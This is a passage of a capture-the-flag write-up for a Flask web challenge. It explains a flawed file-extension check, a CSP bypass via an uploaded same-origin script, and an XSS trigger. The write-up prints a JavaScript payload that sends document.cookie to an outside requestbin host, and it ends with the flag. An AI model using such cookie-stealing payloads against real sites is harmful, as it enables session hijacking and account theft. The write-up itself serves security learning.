"); 76 | emit('new comment', broadcast=True) 77 | 78 | @socketio.on('waive admin') 79 | def waive_admin(): 80 | subprocess.run(['python','admin.py']) 81 | 82 | @app.route('/', methods=['GET']) 83 | def news(): 84 | if 'flag' in request.cookies: 85 | return render_template('/news.html', comments=comments) 86 | else: 87 | resp = make_response(render_template('/news.html', comments=comments)) 88 | resp.set_cookie('flag','if only you were the admin lol') 89 | return resp 90 | 91 | @app.route('/upload', methods=['GET','POST']) 92 | def upload(): 93 | if request.method == 'POST': 94 | if 'file' not in request.files: 95 | flash('No file part') 96 | return render_template('/upload.html',message='No file uploaded :(') 97 | file = request.files['file'] 98 | if not file: 99 | flash('No file data') 100 | return render_template('/upload.html',message='No file uploaded :(') 101 | if file.filename == '': 102 | flash('No selected file') 103 | return render_template('/upload.html',message='Filename can\'t be empty, silly!') 104 | if allowed_file(file.filename): 105 | filename = session['uuid'] + secure_filename(file.filename) 106 | print(filename) 107 | file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) 108 | return render_template('/upload.html',message=f'Image uploaded successfully to /images/{filename}!') 109 | else: 110 | return render_template('/upload.html',message='Bad file type detected! Only .png, .jpg, .jpeg, and .gif allowed!') 111 | return render_template('/upload.html') 112 | 113 | @app.route('/images/', methods=['GET']) 114 | def download_file(name): 115 | return send_from_directory(app.config["UPLOAD_FOLDER"], name) 116 | 117 | 118 | @app.route('/source',methods=['GET']) 119 | def show_source(): 120 | return render_template('server_code.py') 121 | 122 | if __name__=='__main__': 123 | app.run(host="0.0.0.0",port=31337) 124 | ``` 125 | 126 | - We notice that it's a flask app, something that directly catches my attention is this function : 127 | ```python 128 | def allowed_file(filename): 129 | return '.' in filename and filename.rsplit('.')[1].lower() in ALLOWED_EXTENSIONS 130 | ``` 131 | 132 | - To those of you who don't know, the `rsplit()` function in python takes two optional arguments : the split character, and the number of occurances.By default, this latter takes the value of -1, which means it will split the string in all occurances. This is so insecure because the function will now only check for the first occurance of an allowed extension, which means a file named `file.png.js` is allowed. 133 | 134 | - We can also see that the cookie is set to `flag="if only you were the admin lol"` alongside with a session ID, a clear hint that the flag will be in the cookie. 135 | 136 | ![image](https://user-images.githubusercontent.com/101048320/234427449-5e0fa8fe-2432-4621-82bd-df69ab9d78c1.png) 137 | 138 | 139 | - Another interesting code portion is this : 140 | ```python 141 | @app.after_request 142 | def add_security_headers(resp): 143 | resp.headers['Content-Security-Policy']="default-src 'self' https://*.jquery.com https://*.cloudflare.com; object-src 'none';" 144 | return resp 145 | ``` 146 | 147 | - The app is using a CSP header, with anything from self, jquery and cloudflare. After checking https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#file-upload-+-self, we find that it's vulnerable to XSS. Bingo! 148 | 149 | - Our plan now is to upload a JavaScript payload that points to a host we control, and then we trigger it using XSS and `waive admin`, the cookie should be the flag 150 | 151 | ## Execution 152 | 153 | - I wrote this code and saved it in a file called `info.png.js` : 154 | ```javascrpt 155 | document.location = "https://enjodxcp8qx8.x.pipedream.net?cookie=" + document.cookie; 156 | ``` 157 | 158 | - The link points to my host on requestbin, so I'm ready to receive any request made to it 159 | 160 | - Then I uploaded the file : 161 | 162 | ![image](https://user-images.githubusercontent.com/101048320/234427785-601c3da8-9929-437c-8f51-5097c3bd9f63.png) 163 | 164 | - Now, to trigger the xss, all I needed to do is to use this payload inside the comment body and press `waive admin` : 165 | ```html 166 | "/>'> 167 | ``` 168 | 169 | - Now if we check our host on requestbin, we get : 170 | 171 | ![image](https://user-images.githubusercontent.com/101048320/234428302-9b24d7c6-ef46-4742-9c0d-2ae96c757194.png) 172 | 173 | 174 | # Flag 175 | 176 | shctf{w3_a11_l1v3_und3r_th3_DOMe} 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | --------------------------------------------------------------------------------